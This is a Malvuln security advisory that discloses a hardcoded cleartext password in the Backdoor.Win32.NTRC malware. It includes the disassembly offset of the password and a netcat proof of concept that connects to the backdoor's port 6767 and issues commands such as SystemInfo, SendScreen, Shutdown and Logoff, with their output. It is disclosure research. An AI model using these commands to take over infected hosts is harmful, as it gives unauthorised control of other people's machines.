Backdoor.Win32.NTRC / Weak Hardcoded Credentials

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/273fd3f33279cc9c0378a49cf63d7a06.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NTRC
Vulnerability: Weak Hardcoded Credentials
Family: NTRC
Type: PE32
MD5: 273fd3f33279cc9c0378a49cf63d7a06
Vuln ID: MVID-2022-0646
Disclosure: 10/02/2022
Description: The malware listens on TCP port 6767. Authentication is
required, however the password "Please change me" is weak and hardcoded in
cleartext at offset 0045E520. Commands get executed by sending the password
delimited by a semicolon ";" E.g. Please change me;SystemInfo;. The command
SendScreen dumps screenshot as .BMF file, to get the next part of the file
issue SendScreenNextPart.

0045E520                 dd 16                   ; Len
0045E520                 db 'Please change me',0 ; Text
0045E539                 align 4


Exploit/PoC:
C:\>nc64.exe x.x.x.x 6767
SendScreen
SendScreenNextPart
Stop

Please change me;Shutdown;
Error;Can not shutdown the server. Please contact the author at
borgo () bigfoot com
Please change me;Logoff;

Please change me;SystemInfo;
SystemInfo;6.2;9200;Windows
NT;Victim;DESKTOP-2C3IQHO;C:\WINDOWS;1;Intel;Intel Pentium

Please change me;SystemInfo2;
;;;;;0;0;0;0;0;;;;9 Mb;1480.29 Mb;27 %;2687.49 Mb;1607.21 Mb;40 %;2047.88
Mb;1893.88 Mb;D

Please change me;Logoff;
FolderMonitorChanged


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